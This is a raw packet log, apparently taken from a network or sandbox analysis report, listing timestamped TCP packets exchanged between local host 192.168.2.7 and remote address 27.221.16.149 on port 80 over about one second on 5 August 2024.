Aug 5, 2024 12:01:21.811527967 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.811567068 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.811856031 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.811871052 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.811882019 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.811892033 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.811902046 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.811908960 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.811912060 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.811923981 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.811924934 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.811940908 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.811954975 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.812472105 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.812493086 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.812503099 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.812514067 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.812540054 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.812566042 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.812824965 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.812836885 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.812846899 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.812856913 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.812869072 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.812895060 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.813201904 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.813214064 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.813224077 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.813235998 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.813246012 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.813249111 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.813256979 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.813267946 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.813277960 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.813287020 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.813287973 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.813302040 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.813321114 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.814022064 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.814033031 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.814043999 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.814054966 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.814065933 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.814073086 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.814076900 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.814100027 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.814120054 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.814615011 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.814625978 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.814635992 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.814646006 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.814656973 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.814667940 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.814678907 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.814688921 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.814691067 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.814699888 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.814711094 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.814718962 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.814747095 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.815480947 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.815493107 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.815502882 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.815550089 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.816159964 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.860769033 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:21.897701979 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:21.938949108 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.270951033 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.271025896 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.271037102 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.271073103 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.271162987 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.271173000 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.271183968 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.271193981 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.271203041 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.271207094 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.271214962 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.271243095 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.271493912 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.271512032 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.271522999 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.271533012 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.271533966 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.271563053 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.271831989 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.271872997 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.271954060 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.271965027 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.271974087 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.271984100 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.271994114 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.272002935 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.272012949 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.272016048 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.272016048 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.272023916 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.272033930 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.272042990 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.272043943 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.272054911 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.272063971 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.272080898 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.272877932 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.272890091 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.272900105 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.272910118 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.272914886 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.272921085 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.272931099 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.272938967 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.272939920 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.272950888 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.272952080 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.272963047 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.272973061 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.272981882 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.272985935 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.273006916 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.273030043 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.273808002 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.273818970 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.273828983 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.273838997 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.273849010 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.273855925 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.273859978 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.273870945 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.273871899 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.273880959 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.273891926 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.273900986 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.273902893 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.273919106 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.273942947 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.274656057 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.274801016 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.274811983 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.274822950 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.274832010 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.274841070 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.274841070 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.274852037 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.274854898 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.274863005 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.274873018 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.274882078 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.274883986 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.274903059 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.274921894 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.275741100 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.275752068 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.275762081 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.275772095 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.275780916 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.275783062 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.275793076 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.275804043 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.275808096 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.275819063 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.275827885 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.275827885 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.275845051 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.275847912 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.275882006 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.276614904 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.276626110 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.276635885 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.276647091 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.276664019 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.276675940 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.464437962 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.464490891 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.464507103 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.464521885 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.464536905 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.464551926 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.464554071 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.464569092 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.464572906 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.464605093 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.464838028 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.464854956 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.464870930 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.464880943 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.464890003 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.464910030 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.465130091 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.465179920 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.465260983 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.465276957 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.465292931 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.465306997 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.465316057 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.465322971 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.465336084 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.465337992 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.465353966 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.465377092 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.465818882 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.465833902 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.465848923 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.465857983 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.465864897 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.465888023 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.466062069 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.466077089 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.466103077 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.466195107 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.466211081 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.466226101 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.466234922 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.466240883 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.466255903 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.466264963 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.466269970 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.466285944 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.466300011 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.466303110 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.466315031 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.467206001 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.467221975 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.467235088 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.467250109 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.467251062 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.467267036 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.467276096 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.467283964 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.467298985 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.467305899 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.467315912 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.467330933 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.467344999 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.467344999 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.467375040 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.468008995 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.468025923 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.468040943 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.468054056 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.468056917 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.468072891 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.468079090 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.468089104 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.468101978 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.468117952 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.468122959 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.468132973 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.468147039 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.468147993 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.468163013 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.468174934 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.468200922 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.468933105 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.468950033 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.468965054 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.468980074 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.468993902 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.469001055 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.469010115 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.469022036 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.469024897 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.469039917 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.469048977 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.469053984 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.469069004 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.469075918 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.469110012 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.469759941 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.469775915 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.469790936 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.469805956 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.469813108 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.469821930 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.469839096 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.469846964 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.469883919 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.783726931 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.783766031 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.783782959 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.783854961 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.783924103 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.783936024 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.783946991 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.783965111 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.783991098 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.784138918 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.784149885 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.784161091 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.784208059 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.784357071 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.784368038 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.784379005 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.784396887 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.784427881 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.784600019 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.784610987 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.784621000 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.784632921 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.784643888 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.784671068 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.784684896 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.784869909 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.784946918 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.784957886 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.784967899 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.784979105 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.784989119 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.785026073 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.785054922 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.785330057 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.785341024 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.785351038 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.785356045 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.785378933 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.785410881 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.785587072 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.785598993 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.785609007 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.785619020 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.785636902 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.785657883 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.785680056 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.785691977 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.785701990 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.785718918 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.785718918 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.785729885 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.785742044 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.785743952 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.785753012 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:22.785770893 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:22.785789013 CEST	49893	80	192.168.2.7	27.221.16.149
